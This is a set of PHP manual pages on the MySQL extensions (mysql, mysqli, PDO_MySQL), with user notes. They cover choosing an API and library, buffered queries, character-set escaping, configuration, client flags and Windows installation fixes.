    • Concepts
    • Installing/Configuring
    • Predefined Constants
    • Change History
  • mysqlnd_memcache — Mysqlnd Memcache plugin
    • Introduction
    • Quickstart and Examples
    • Installing/Configuring
    • Predefined Constants
    • Mysqlnd_memcache Functions
    • Change History

User Contributed Notes

There are no user contributed notes for this page.


Overview of the MySQL PHP drivers

Introduction

There are three PHP APIs for accessing the MySQL database. This guide explains the terminology used to describe each API, information about choosing which API to use, and also information to help choose which MySQL library to use with the API.

  • Terminology overview
  • Choosing an API
  • Choosing a library
  • Concepts
    • Buffered and Unbuffered queries
    • Character sets

User Contributed Notes

There are no user contributed notes for this page.


Terminology overview

This section provides an introduction to the options available to you when developing a PHP application that needs to interact with a MySQL database.

What is an API?

An Application Programming Interface, or API, defines the classes, methods, functions and variables that your application will need to call in order to carry out its desired task. In the case of PHP applications that need to communicate with databases the necessary APIs are usually exposed via PHP extensions.

APIs can be procedural or object-oriented. With a procedural API you call functions to carry out tasks, with the object-oriented API you instantiate classes and then call methods on the resulting objects. Of the two the latter is usually the preferred interface, as it is more modern and leads to better organized code.

When writing PHP applications that need to connect to the MySQL server there are several API options available. This document discusses what is available and how to select the best solution for your application.

What is a Connector?

In the MySQL documentation, the term connector refers to a piece of software that allows your application to connect to the MySQL database server. MySQL provides connectors for a variety of languages, including PHP.

If your PHP application needs to communicate with a database server you will need to write PHP code to perform such activities as connecting to the database server, querying the database and other database-related functions. Software is required to provide the API that your PHP application will use, and also handle the communication between your application and the database server, possibly using other intermediate libraries where necessary. This software is known generically as a connector, as it allows your application to connect to a database server.

What is a Driver?

A driver is a piece of software designed to communicate with a specific type of database server. The driver may also call a library, such as the MySQL Client Library or the MySQL Native Driver. These libraries implement the low-level protocol used to communicate with the MySQL database server.

By way of an example, the PHP Data Objects (PDO) database abstraction layer may use one of several database-specific drivers. One of the drivers it has available is the PDO MYSQL driver, which allows it to interface with the MySQL server.

Sometimes people use the terms connector and driver interchangeably, this can be confusing. In the MySQL-related documentation the term "driver" is reserved for software that provides the database-specific part of a connector package.

What is an Extension?

In the PHP documentation you will come across another term - extension. The PHP code consists of a core, with optional extensions to the core functionality. PHP's MySQL-related extensions, such as the mysqli extension, and the mysql extension, are implemented using the PHP extension framework.

An extension typically exposes an API to the PHP programmer, to allow its facilities to be used programmatically. However, some extensions which use the PHP extension framework do not expose an API to the PHP programmer.

The PDO MySQL driver extension, for example, does not expose an API to the PHP programmer, but provides an interface to the PDO layer above it.

The terms API and extension should not be taken to mean the same thing, as an extension may not necessarily expose an API to the programmer.

User Contributed Notes

There are no user contributed notes for this page.


Choosing an API

PHP offers three different APIs to connect to MySQL. Below we show the APIs provided by the mysql, mysqli, and PDO extensions. Each code snippet creates a connection to a MySQL server running on "example.com" using the username "user" and the password "password". And a query is run to greet the user.

Example #1 Comparing the three MySQL APIs

<?php
// mysqli
$mysqli = new mysqli("example.com", "user", "password", "database");
$result = $mysqli->query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = $result->fetch_assoc();
echo htmlentities($row['_message']);

// PDO
$pdo = new PDO('mysql:host=example.com;dbname=database', 'user', 'password');
$statement = $pdo->query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = $statement->fetch(PDO::FETCH_ASSOC);
echo htmlentities($row['_message']);

// mysql
$c = mysql_connect("example.com", "user", "password");
mysql_select_db("database");
$result = mysql_query("SELECT 'Hello, dear MySQL user!' AS _message FROM DUAL");
$row = mysql_fetch_assoc($result);
echo htmlentities($row['_message']);
?>

Recommended API

It is recommended to use either the mysqli or PDO_MySQL extensions. It is not recommended to use the old mysql extension for new development, as it has been deprecated as of PHP 5.5.0 and will be removed in the future. A detailed feature comparison matrix is provided below. The overall performance of all three extensions is considered to be about the same. Although the performance of the extension contributes only a fraction of the total run time of a PHP web request. Often, the impact is as low as 0.1%.

Feature comparison

 | ext/mysqli | PDO_MySQL | ext/mysql
PHP version introduced | 5.0 | 5.1 | 2.0
Included with PHP 5.x | Yes | Yes | Yes
Development status | Active | Active | Maintenance only
Lifecycle | Active | Active | Deprecated
Recommended for new projects | Yes | Yes | No
OOP Interface | Yes | Yes | No
Procedural Interface | Yes | No | Yes
API supports non-blocking, asynchronous queries with mysqlnd | Yes | No | No
Persistent Connections | Yes | Yes | Yes
API supports Charsets | Yes | Yes | Yes
API supports server-side Prepared Statements | Yes | Yes | No
API supports client-side Prepared Statements | No | Yes | No
API supports Stored Procedures | Yes | Yes | No
API supports Multiple Statements | Yes | Most | No
API supports Transactions | Yes | Yes | No
Transactions can be controlled with SQL | Yes | Yes | Yes
Supports all MySQL 5.1+ functionality | Yes | Most | No

User Contributed Notes

azizsaleh at gmail dot com 23-Mar-2014 11:43
mysql_* functions are deprecated and will be removed from future versions in PHP. If you have an existing codebase that you are moving to such PHP version and is having a hard time converting to PDO/MySQLI you can use a PDO wrapper for all mysql_* functions found on github: https://github.com/azizsaleh/mysql
roland at mxchange dot org 02-Apr-2013 08:33
To solve PDO limitations as described by michaeln at associations plus dot see eh, you may try to overwrite PDO methods:

<?php
class MyPdo extends PDO {
// What ever parameters PDO wants + prepend some own:
public function query($caller, $line, $foo, $bar, $bazz) {
// Do your stuff here with $caller, $line (e.g. logging for debug purposes)
// Then call the extended method
return parent::QUERY($foo, $bar, $bazz) or $this->myErrorHandler($caller, $line, $someSqlToLog);
}
}
?>

This is only a very basic example. You may otherwise choose to "wrap" the PDO class and save an instance of the "underlaying" PDO class inside the wrapper class. This is maybe a little more complex approach but allows you to have on interfaces in class signature + way better flexibility.
michaeln at associations plus dot see eh 12-Mar-2013 11:49
Another useful consideration to keep in mind when choosing your library is how extensible it is. Chances are, in any sufficiently advanced development scenario, you're going to be extending your database access class to add a method (or multiple methods) for how to handle database errors and alert the development team of errors and whether to have the code fail immediately or fail gracefully serving the user a user-friendly failure notice.

For example, I have a class where I have added extra parameters to the query() function (and a few others), which accept the __FILE__ and __LINE__ constants to facilitate tracking issues. If this were not reasonably possible with PDO-mysql for example (not sure, never used it), it may make one option or the other much less likely to be viable for your usage case.
alvaro at demogracia dot com 21-Jun-2012 06:29
Apart from the feature list, I suggest you try out both MySQLi and PDO and find out what API design you like most. MySQLi is more powerful and probably more complex to learn. PDO is more elegant and has the advantage that you only need to learn one PHP API if you need to work with different DBMS in the future.


Choosing a library

The mysqli, PDO_MySQL and mysql PHP extensions are lightweight wrappers on top of a C client library. The extensions can either use the mysqlnd library or the libmysqlclient library. Choosing a library is a compile time decision.

The mysqlnd library is part of the PHP distribution since 5.3.0. It offers features like lazy connections and query caching, features that are not available with libmysqlclient, so using the built-in mysqlnd library is highly recommended. See the mysqlnd documentation for additional details, and a listing of features and functionality that it offers.

Example #1 Configure commands for using mysqlnd or libmysqlclient

// Recommended, compiles with mysqlnd
$ ./configure --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql=mysqlnd

// Not recommended, compiles with libmysqlclient
$ ./configure --with-mysqli=/path/to/mysql_config --with-pdo-mysql=/path/to/mysql_config --with-mysql=/path/to/mysql_config

Library feature comparison

It is recommended to use the mysqlnd library instead of the MySQL Client Server library (libmysqlclient). Both libraries are supported and constantly being improved.

 | MySQL native driver (mysqlnd) | MySQL client server library (libmysqlclient)
Part of the PHP distribution | Yes | No
PHP version introduced | 5.3.0 | N/A
License | PHP License 3.01 | Dual-License
Development status | Active | Active
Lifecycle | No end announced | No end announced
PHP 5.4 compile default (for all MySQL extensions) | Yes | No
PHP 5.3 compile default (for all MySQL extensions) | No | Yes
Compression protocol support | Yes (5.3.1+) | Yes
SSL support | Yes (5.3.3+) | Yes
Named pipe support | Yes (5.3.4+) | Yes
Non-blocking, asynchronous queries | Yes | No
Performance statistics | Yes | No
LOAD LOCAL INFILE respects the open_basedir directive | Yes | No
Uses PHP's native memory management system (e.g., follows PHP memory limits) | Yes | No
Return numeric column as double (COM_QUERY) | Yes | No
Return numeric column as string (COM_QUERY) | Yes | Yes
Plugin API | Yes | Limited
Read/Write splitting for MySQL Replication | Yes, with plugin | No
Load Balancing | Yes, with plugin | No
Fail over | Yes, with plugin | No
Lazy connections | Yes, with plugin | No
Query caching | Yes, with plugin | No
Transparent query manipulations (E.g., auto-EXPLAIN or monitoring) | Yes, with plugin | No

User Contributed Notes

There are no user contributed notes for this page.


Concepts

Table of Contents

  • Buffered and Unbuffered queries
  • Character sets

These concepts are specific to the MySQL drivers for PHP.

User Contributed Notes

There are no user contributed notes for this page.


Buffered and Unbuffered queries

Queries are using the buffered mode by default. This means that query results are immediately transferred from the MySQL Server to PHP and is then kept in the memory of the PHP process. This allows additional operations like counting the number of rows, and moving (seeking) the current result pointer. It also allows issuing further queries on the same connection while working on the result set. The downside of the buffered mode is that larger result sets might require quite a lot memory. The memory will be kept occupied till all references to the result set are unset or the result set was explicitly freed, which will automatically happen during request end the latest. The terminology "store result" is also used for buffered mode, as the whole result set is stored at once.

Note:

When using libmysqlclient as library PHP's memory limit won't count the memory used for result sets unless the data is fetched into PHP variables. With mysqlnd the memory accounted for will include the full result set.

Unbuffered MySQL queries execute the query and then return a resource while the data is still waiting on the MySQL server for being fetched. This uses less memory on the PHP-side, but can increase the load on the server. Unless the full result set was fetched from the server no further queries can be sent over the same connection. Unbuffered queries can also be referred to as "use result".

Following these characteristics buffered queries should be used in cases where you expect only a limited result set or need to know the amount of returned rows before reading all rows. Unbuffered mode should be used when you expect larger results.

Because buffered queries are the default, the examples below will demonstrate how to execute unbuffered queries with each API.

Example #1 Unbuffered query example: mysqli

<?php
$mysqli  = new mysqli("localhost", "my_user", "my_password", "world");
$uresult = $mysqli->query("SELECT Name FROM City", MYSQLI_USE_RESULT);

if ($uresult) {
   while ($row = $uresult->fetch_assoc()) {
       echo $row['Name'] . PHP_EOL;
   }
}
$uresult->close();
?>

Example #2 Unbuffered query example: pdo_mysql

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world", 'my_user', 'my_pass');
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$uresult = $pdo->query("SELECT Name FROM City");
if ($uresult) {
   while ($row = $uresult->fetch(PDO::FETCH_ASSOC)) {
       echo $row['Name'] . PHP_EOL;
   }
}
?>

Example #3 Unbuffered query example: mysql

<?php
$conn = mysql_connect("localhost", "my_user", "my_pass");
$db   = mysql_select_db("world");

$uresult = mysql_unbuffered_query("SELECT Name FROM City");
if ($uresult) {
   while ($row = mysql_fetch_assoc($uresult)) {
       echo $row['Name'] . PHP_EOL;
   }
}
?>

User Contributed Notes

debasiss at mindfiresolutions dot com 18-Jul-2013 11:25
mysql_unbuffered_query() is no more supporting, so only option is MySQLi or PDO


Character sets

Ideally a proper character set will be set at the server level, and doing this is described within the » Character Set Configuration section of the MySQL Server manual. Alternatively, each MySQL API offers a method to set the character set at runtime.

Caution

The character set and character escaping

The character set should be understood and defined, as it has an affect on every action, and includes security implications. For example, the escaping mechanism (e.g., mysqli_real_escape_string() for mysqli, mysql_real_escape_string() for mysql, and PDO::quote() for PDO_MySQL) will adhere to this setting. It is important to realize that these functions will not use the character set that is defined with a query, so for example the following will not have an effect on them:

Example #1 Problems with setting the character set with SQL

<?php

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

// Will not affect $mysqli->real_escape_string();
$mysqli->query("SET NAMES utf8");

// Will not affect $mysqli->real_escape_string();
$mysqli->query("SET CHARACTER SET utf8");

// But, this will affect $mysqli->real_escape_string();
$mysqli->set_charset('utf8');

?>

Below are examples that demonstrate how to properly alter the character set at runtime using each API.

Example #2 Setting the character set example: mysqli

<?php

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

if (!$mysqli->set_charset('utf8')) {
    printf("Error loading character set utf8: %s\n", $mysqli->error);
} else {
    printf("Current character set: %s\n", $mysqli->character_set_name());
}

print_r( $mysqli->get_charset() );

?>

Example #3 Setting the character set example: pdo_mysql

Note: This only works as of PHP 5.3.6.

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world;charset=utf8", 'my_user', 'my_pass');
?>

Example #4 Setting the character set example: mysql

<?php

$conn = mysql_connect("localhost", "my_user", "my_pass");
$db   = mysql_select_db("world");

if (!mysql_set_charset('utf8', $conn)) {
    echo "Error: Unable to set the character set.\n";
    exit;
}

echo 'Your current character set is: ' .  mysql_client_encoding($conn);

?>

User Contributed Notes

go at NOSPAMME dot quidera dot com 31-Aug-2012 02:11
If none of the character set alterations work and the data is valid UTF8 and is garbled when saved in mysql. Then your table is not supporting UTF8 and likely is Latin1 or something else. So  you will need to update you table, in the case of MySQL do the following:

ALTER TABLE <table_name> CONVERT TO CHARACTER SET utf8;


Original MySQL API

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Changelog
  • Predefined Constants
  • Examples
    • MySQL extension overview example
  • MySQL Functions
    • mysql_affected_rows — Get number of affected rows in previous MySQL operation
    • mysql_client_encoding — Returns the name of the character set
    • mysql_close — Close MySQL connection
    • mysql_connect — Open a connection to a MySQL Server
    • mysql_create_db — Create a MySQL database
    • mysql_data_seek — Move internal result pointer
    • mysql_db_name — Retrieves database name from the call to mysql_list_dbs
    • mysql_db_query — Selects a database and executes a query on it
    • mysql_drop_db — Drop (delete) a MySQL database
    • mysql_errno — Returns the numerical value of the error message from previous MySQL operation
    • mysql_error — Returns the text of the error message from previous MySQL operation
    • mysql_escape_string — Escapes a string for use in a mysql_query
    • mysql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • mysql_fetch_assoc — Fetch a result row as an associative array
    • mysql_fetch_field — Get column information from a result and return as an object
    • mysql_fetch_lengths — Get the length of each output in a result
    • mysql_fetch_object — Fetch a result row as an object
    • mysql_fetch_row — Get a result row as an enumerated array
    • mysql_field_flags — Get the flags associated with the specified field in a result
    • mysql_field_len — Returns the length of the specified field
    • mysql_field_name — Get the name of the specified field in a result
    • mysql_field_seek — Set result pointer to a specified field offset
    • mysql_field_table — Get name of the table the specified field is in
    • mysql_field_type — Get the type of the specified field in a result
    • mysql_free_result — Free result memory
    • mysql_get_client_info — Get MySQL client info
    • mysql_get_host_info — Get MySQL host info
    • mysql_get_proto_info — Get MySQL protocol info
    • mysql_get_server_info — Get MySQL server info
    • mysql_info — Get information about the most recent query
    • mysql_insert_id — Get the ID generated in the last query
    • mysql_list_dbs — List databases available on a MySQL server
    • mysql_list_fields — List MySQL table fields
    • mysql_list_processes — List MySQL processes
    • mysql_list_tables — List tables in a MySQL database
    • mysql_num_fields — Get number of fields in result
    • mysql_num_rows — Get number of rows in result
    • mysql_pconnect — Open a persistent connection to a MySQL server
    • mysql_ping — Ping a server connection or reconnect if there is no connection
    • mysql_query — Send a MySQL query
    • mysql_real_escape_string — Escapes special characters in a string for use in an SQL statement
    • mysql_result — Get result data
    • mysql_select_db — Select a MySQL database
    • mysql_set_charset — Sets the client character set
    • mysql_stat — Get current system status
    • mysql_tablename — Get table name of field
    • mysql_thread_id — Return the current thread ID
    • mysql_unbuffered_query — Send an SQL query to MySQL without fetching and buffering the result rows.

User Contributed Notes

robertpas550 at hotmail dot com 05-May-2012 08:02
New users are advised to use MySQL Improved mysqli_ functions rather than the older [replaced] mysql_ functions where applicable and subject the appropriate latest stable versions of Apache, php and MySQL, etc.


Introduction

This extension is deprecated as of PHP 5.5.0, and is not recommended for writing new code as it will be removed in the future. Instead, either the mysqli or PDO_MySQL extension should be used. See also the MySQL API Overview for further help while choosing a MySQL API.

These functions allow you to access MySQL database servers. More information about MySQL can be found at » http://www.mysql.com/.

Documentation for MySQL can be found at » http://dev.mysql.com/doc/.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

In order to have these functions available, you must compile PHP with MySQL support.

User Contributed Notes

There are no user contributed notes for this page.


Installation

For compiling, simply use the --with-mysql[=DIR] configuration option where the optional [DIR] points to the MySQL installation directory.

Although this MySQL extension is compatible with MySQL 4.1.0 and greater, it doesn't support the extra functionality that these versions provide. For that, use the MySQLi extension.

If you would like to install the mysql extension along with the mysqli extension you have to use the same client library to avoid any conflicts.

Installation on Linux Systems

Note: [DIR] is the path to the MySQL client library files (headers and libraries), which can be downloaded from » MySQL.

ext/mysql compile time support matrix
PHP Version | Default | Configure Options: mysqlnd | Configure Options: libmysqlclient | Changelog
4.x.x | libmysqlclient | Not Available | --without-mysql to disable | MySQL enabled by default, MySQL client libraries are bundled
5.0.x, 5.1.x, 5.2.x | libmysqlclient | Not Available | --with-mysql=[DIR] | MySQL is no longer enabled by default, and the MySQL client libraries are no longer bundled
5.3.x | libmysqlclient | --with-mysql=mysqlnd | --with-mysql=[DIR] | mysqlnd is now available
5.4.x | mysqlnd | --with-mysql | --with-mysql=[DIR] | mysqlnd is now the default

Installation on Windows Systems

PHP 4

The PHP MySQL extension is compiled into PHP.

PHP 5.0.x, 5.1.x, 5.2.x

MySQL is no longer enabled by default, so the php_mysql.dll DLL must be enabled inside of php.ini. Also, PHP needs access to the MySQL client library. A file named libmysql.dll is included in the Windows PHP distribution and in order for PHP to talk to MySQL this file needs to be available to the Windows systems PATH. See the FAQ titled "How do I add my PHP directory to the PATH on Windows" for information on how to do this. Although copying libmysql.dll to the Windows system directory also works (because the system directory is by default in the system's PATH), it's not recommended.

As with enabling any PHP extension (such as php_mysql.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located. See also the Manual Windows Installation Instructions. An example extension_dir value for PHP 5 is c:\php\ext

Note:

If when starting the web server an error similar to the following occurs: "Unable to load dynamic library './php_mysql.dll'", this is because php_mysql.dll and/or libmysql.dll cannot be found by the system.

PHP 5.3.0+

The MySQL Native Driver is enabled by default. Include php_mysql.dll, but libmysql.dll is no longer required or used.

MySQL Installation Notes

Warning

Crashes and startup problems of PHP may be encountered when loading this extension in conjunction with the recode extension. See the recode extension for more information.

Note:

If you need charsets other than latin (default), you have to install external (not bundled) libmysqlclient with compiled charset support.

User Contributed Notes

mail dot umlcat at gee mail dot com 12-Dec-2012 04:28
Could not install mysql, on windows, had several conflicts or bugs.

In order to solve it:

* Used the "libmysql.dll" provided by PHP zip files, not the one that comes with Mysql, the mysql file had to be moved or deleted from its folder. Put it on the "apache/bin" folder, altought some use it in "windows" folder.

* Originally, moved "*mysql*.dll" files from its extension folder, and returned back.

* enabled mysql driver extensions in the "php.ini" file, but also enabled some extensions, that seemed not to be required, but, it did, like "php_openssl.dll" or "php_pdo.dll" on an early version of php.

Added the "PHPIniDir xxx"" to the "httpd.conf" apache config. file, where xxx is the path to the folder where the "php.ini" file is located, and make sure its the same.

Be warned, that this fixes, may help or not, for your installation, since there are many ways to configure the same thing (to solve a problem).
Steve in Weston-Super-Mare 27-Jul-2011 07:55
I had problems when moving from a version of PHP that used the isapi dll to the fast cgi version. The script to register the script maps compained that there was already a script map in place.

I went to the IIS control panel, right clicked on websites and removed the php association in the Home Directory | Configuration screen.

However, the fastcgi script still complained about existing script map. Finally I tracked it down, I had to right click on Default Web Site and clear out the php mappings from there too.

Then it all worked, except that for some strange reason, the php.ini file that gets picked up is the one from my old PHP directory, not the latest upgrade one. But this can be detected by running phpinfo which shows the loaded php.ini file so I knew which one to amend with the fastcgi options.

Bit of a hassle to figure it all out but it does work in the end.
o dot kochetilov at gmail dot com 30-Apr-2011 09:39
Please note that libmySQL.dll in MySQL bin directory should be renamed in order to use right library (that comes with PHP).
buzzr515 at gmx dot de 03-Sep-2010 06:13
i've experienced a similar (if not the same) problem.

to enable the mysql_... and mysqli_... funtionality, i opened the php.ini file to uncomment the following lines:
;extension=php_mysql.dll
;extension=php_mysqli.dll
;extension=php_pdo_mysql.dll

but phpinfo() still stated that no mysql extensions were loaded.
i tried the fixes and suggestions above with no success.
so i invoked the windows shell and typed ("Path" environment variable set to the PHP & MySQL directories):
php.exe -m

this returned the following error: "PHP Startup: Unable to load dynamic library 'C:\php5\php_mysql.dll' - Module not found."

this told me that PHP didn't recognize what i thought was the extensions directory. it searched all other places first (sys-dir, workin'-dir, the MySQL "bin" dir because of the "Path" variable set, and even a curious directory "C:\php5" that doesn't even exist on my mashine) but not the expected "ext" directory.

so the fix was to go to "php.ini" again and uncomment the following line:
;extension_dir="ext"

this fixed it for me.
so if module loading is done improperly, first of all check the "Path" environment variable and the "php.ini" file - especially the "extension_dir" config value - and check if all values are set to their correct values.

hope this helps any1.

----------------------------------------
OS: Win7 Ultimate x86
Apache v2.2.16
PHP v5.3.3
MySQL v5.1.50
heneryville at gmail dot com 30-Apr-2010 10:32
I believe that this is happens especially with Windows 7.  As far I I've been able to tell XP and Vista come with this line enabled, but windows 7 comments it out and notes that the DNS will handle this.
amatsak at gmail dot com 22-Jun-2009 11:46
I have experienced exactly the same problem as flo_stefi at yahoo dot com below. It appears that instead of loading libmysql.dll that came with the PHP package, the PHP engine was loading libmySQL.dll located in MySQL's bin directory, which was causing Apache to crash.

I fixed the problem by renaming MySQL's libmySQL.dll into libmySQL_renamed.dll. Now PHP loads the library that came with its package and everything works fine.
jonnus 12-May-2008 02:42
In windows systems, the same error "unable to load dynamic library php_mysql.dll" will happen, if there's an old version of the file in the "windows\system32" folder.
Either remove it or update it.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MySQL Configuration Options
Name | Default | Changeable | Changelog
mysql.allow_local_infile | "1" | PHP_INI_SYSTEM |
mysql.allow_persistent | "1" | PHP_INI_SYSTEM |
mysql.max_persistent | "-1" | PHP_INI_SYSTEM |
mysql.max_links | "-1" | PHP_INI_SYSTEM |
mysql.trace_mode | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
mysql.default_port | NULL | PHP_INI_ALL |
mysql.default_socket | NULL | PHP_INI_ALL | Available since PHP 4.0.1.
mysql.default_host | NULL | PHP_INI_ALL |
mysql.default_user | NULL | PHP_INI_ALL |
mysql.default_password | NULL | PHP_INI_ALL |
mysql.connect_timeout | "60" | PHP_INI_ALL | PHP_INI_SYSTEM in PHP <= 4.3.2. Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mysql.allow_local_infile integer

Allow accessing, from PHP's perspective, local files with LOAD DATA statements

mysql.allow_persistent boolean

Whether to allow persistent connections to MySQL.

mysql.max_persistent integer

The maximum number of persistent MySQL connections per process.

mysql.max_links integer

The maximum number of MySQL connections per process, including persistent connections.

mysql.trace_mode boolean

Trace mode. When mysql.trace_mode is enabled, warnings for table/index scans, non free result sets, and SQL-Errors will be displayed. (Introduced in PHP 4.3.0)

mysql.default_port string

The default TCP port number to use when connecting to the database server if no other port is specified. If no default is specified, the port will be obtained from the MYSQL_TCP_PORT environment variable, the mysql-tcp entry in /etc/services or the compile-time MYSQL_PORT constant, in that order. Win32 will only use the MYSQL_PORT constant.

mysql.default_socket string

The default socket name to use when connecting to a local database server if no other socket name is specified.

mysql.default_host string

The default server host to use when connecting to the database server if no other host is specified. Doesn't apply in SQL safe mode.

mysql.default_user string

The default user name to use when connecting to the database server if no other name is specified. Doesn't apply in SQL safe mode.

mysql.default_password string

The default password to use when connecting to the database server if no other password is specified. Doesn't apply in SQL safe mode.

mysql.connect_timeout integer

Connect timeout in seconds. On Linux this timeout is also used for waiting for the first answer from the server.

User Contributed Notes

frodenius 23-Aug-2008 07:19
you can also easily work around the issue if you simply create a symbolic link to the socket by executing the following in terminal:

sudo mkdir /var/mysql
sudo ln -s /tmp/mysql.sock /var/mysql/mysql.sock

[EDIT BY danbrown AT php DOT net: Typo spotted by (asterizk AT me DOT com) - "should probably say 'sudo ln -s ...'"]
JM 27-Apr-2008 06:14
mysql_default_socket can take a filename as the argument.  By default--at least with the default configuration provided by Mac OS X 10.5--it is /var/mysql/mysql.sock.  If necessary, you can edit your php.ini to change it to /tmp/mysql.sock.


Resource Types

There are two resource types used in the MySQL module. The first one is the link identifier for a database connection, the second a resource which holds the result of a query.

User Contributed Notes

There are no user contributed notes for this page.


Changelog

The following changes have been made to classes/functions/methods of this extension.

General Changelog for the ext/mysql extension

This changelog references the ext/mysql extension.

Changes to existing functions

The following list is a compilation of changelog entries from the ext/mysql functions.

Version | Function | Description
5.5.0 | mysql_connect | This function will generate an E_DEPRECATED error.
 | mysql_db_name | The mysql_list_dbs function is deprecated, and emits an E_DEPRECATED level error.
 | mysql_pconnect | This function will generate an E_DEPRECATED error.
 | mysql_tablename | The mysql_tablename function is deprecated, and emits an E_DEPRECATED level error.
5.3.0 | mysql_db_query | This function now throws an E_DEPRECATED notice.
 | mysql_escape_string | This function now throws an E_DEPRECATED notice.
4.3.7 | mysql_list_tables | This function became deprecated.
4.3.0 | mysql_escape_string | This function became deprecated, do not use this function. Instead, use mysql_real_escape_string.

Global ext/mysql changes

The following is a list of changes to the entire ext/mysql extension.

Version | Description
5.5.0 | This extension has been deprecated. Connecting to a MySQL database via mysql_connect(), mysql_pconnect() or an implicit connection via any other mysql_* function will generate an E_DEPRECATED error.
5.5.0 | All of the old deprecated functions and aliases now emit E_DEPRECATED errors. These functions are: mysql(), mysql_fieldname(), mysql_fieldtable(), mysql_fieldlen(), mysql_fieldtype(), mysql_fieldflags(), mysql_selectdb(), mysql_createdb(), mysql_dropdb(), mysql_freeresult(), mysql_numfields(), mysql_numrows(), mysql_listdbs(), mysql_listtables(), mysql_listfields(), mysql_db_name(), mysql_dbname(), mysql_tablename(), and mysql_table_name().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Since PHP 4.3.0 it is possible to specify additional client flags for the mysql_connect() and mysql_pconnect() functions. The following constants are defined:

MySQL client constants
Constant | Description
MYSQL_CLIENT_COMPRESS | Use compression protocol
MYSQL_CLIENT_IGNORE_SPACE | Allow space after function names
MYSQL_CLIENT_INTERACTIVE | Allow interactive_timeout seconds (instead of wait_timeout ) of inactivity before closing the connection.
MYSQL_CLIENT_SSL | Use SSL encryption. This flag is only available with version 4.x of the MySQL client library or newer. Version 3.23.x is bundled both with PHP 4 and Windows binaries of PHP 5.

The function mysql_fetch_array() uses a constant for the different types of result arrays. The following constants are defined:

MySQL fetch constants
Constant | Description
MYSQL_ASSOC | Columns are returned into the array having the fieldname as the array index.
MYSQL_BOTH | Columns are returned into the array having both a numerical index and the fieldname as the array index.
MYSQL_NUM | Columns are returned into the array having a numerical index to the fields. This index starts with 0, the first field in the result.

User Contributed Notes

frak at gingerhq dot net 30-Jun-2011 08:06
If you're using stored procedures and mysql_error() returns "PROCEDURE storedProcedureName can't return a result set in the given context", you need to pass an additional flag (CLIENT_MULTI_RESULTS) to mysql_connect() as such:
mysql_connect($hostname, $username, $password, true, 131072);

Some other sources say that you should use 65536. 65536 is actually the flag to allow multiple statements in a single mysql_query(), and is a security issue. The reason it allows you to receive results from stored procedures is because it implies 131072. To be safe, use 131072 over 65536.
pcdinh at phpvietnam dot net 13-Feb-2010 09:54
Other client flags extracted from MySQL client source

#define CLIENT_LONG_PASSWORD 1 /* new more secure passwords */
#define CLIENT_FOUND_ROWS 2 /* Found instead of affected rows */
#define CLIENT_LONG_FLAG 4 /* Get all column flags */
#define CLIENT_CONNECT_WITH_DB 8 /* One can specify db on connect */
#define CLIENT_NO_SCHEMA 16 /* Don't allow database.table.column */
#define CLIENT_COMPRESS 32 /* Can use compression protocol */
#define CLIENT_ODBC 64 /* Odbc client */
#define CLIENT_LOCAL_FILES 128 /* Can use LOAD DATA LOCAL */
#define CLIENT_IGNORE_SPACE 256 /* Ignore spaces before '(' */
#define CLIENT_PROTOCOL_41 512 /* New 4.1 protocol */
#define CLIENT_INTERACTIVE 1024 /* This is an interactive client */
#define CLIENT_SSL 2048 /* Switch to SSL after handshake */
#define CLIENT_IGNORE_SIGPIPE 4096 /* IGNORE sigpipes */
#define CLIENT_TRANSACTIONS 8192 /* Client knows about transactions */
#define CLIENT_RESERVED 16384 /* Old flag for 4.1 protocol */
#define CLIENT_SECURE_CONNECTION 32768 /* New 4.1 authentication */
#define CLIENT_MULTI_STATEMENTS 65536 /* Enable/disable multi-stmt support */
#define CLIENT_MULTI_RESULTS 131072 /* Enable/disable multi-results */
#define CLIENT_REMEMBER_OPTIONS (((ulong) 1) << 31)
Contact at LinuxIntro dot com 28-Oct-2008 06:33
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);


Examples

Table of Contents

  • MySQL extension overview example

User Contributed Notes

There are no user contributed notes for this page.


MySQL extension overview example

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a MySQL database.

Example #1 MySQL extension overview example

<?php
// Connecting, selecting database
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
    or die('Could not connect: ' . mysql_error());
echo 'Connected successfully';
mysql_select_db('my_database') or die('Could not select database');

// Performing SQL query
$query = 'SELECT * FROM my_table';
$result = mysql_query($query) or die('Query failed: ' . mysql_error());

// Printing results in HTML
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

// Free resultset
mysql_free_result($result);

// Closing connection
mysql_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.


MySQL Functions

Notes

Note:

Most MySQL functions accept link_identifier as the last optional parameter. If it is not provided, last opened connection is used. If it doesn't exist, connection is tried to establish with default parameters defined in php.ini. If it is not successful, functions return FALSE.

Table of Contents

  • mysql_affected_rows — Get number of affected rows in previous MySQL operation
  • mysql_client_encoding — Returns the name of the character set
  • mysql_close — Close MySQL connection
